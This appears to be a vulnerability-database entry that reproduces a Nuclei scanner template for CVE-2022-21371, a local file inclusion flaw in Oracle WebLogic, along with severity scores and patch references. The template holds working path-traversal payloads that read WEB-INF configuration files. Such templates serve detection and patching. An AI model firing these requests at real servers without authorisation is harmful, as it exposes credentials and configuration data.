Oracle WebLogic Server Local File Inclusion

2022-01-2509:48:56

ProjectDiscovery

github.com

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.1 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.963 High

EPSS

Percentile

99.5%

JSON

An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.

id: CVE-2022-21371

info:
  name: Oracle WebLogic Server Local File Inclusion
  author: paradessia,narluin
  severity: high
  description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
  impact: |
    An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://www.oracle.com/security-alerts/cpujan2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21371
    - https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
    - http://packetstormsecurity.com/files/165736/Oracle-WebLogic-Server-14.1.1.0.0-Local-File-Inclusion.html
    - https://github.com/Mr-xn/CVE-2022-21371
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21371
    cwe-id: CWE-22
    epss-score: 0.96287
    epss-percentile: 0.9943
    cpe: cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: weblogic_server
  tags: cve,cve2022,lfi,weblogic,oracle,packetstorm

http:
  - method: GET
    raw:
      - |+
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - .//WEB-INF/weblogic.xml
        - .//WEB-INF/web.xml

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<web-app") && contains(body, "</web-app>")'
          - 'contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>")'
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "text/xml")'
          - 'contains(header, "application/xml")'
        condition: or

      - type: status
        status:
          - 200
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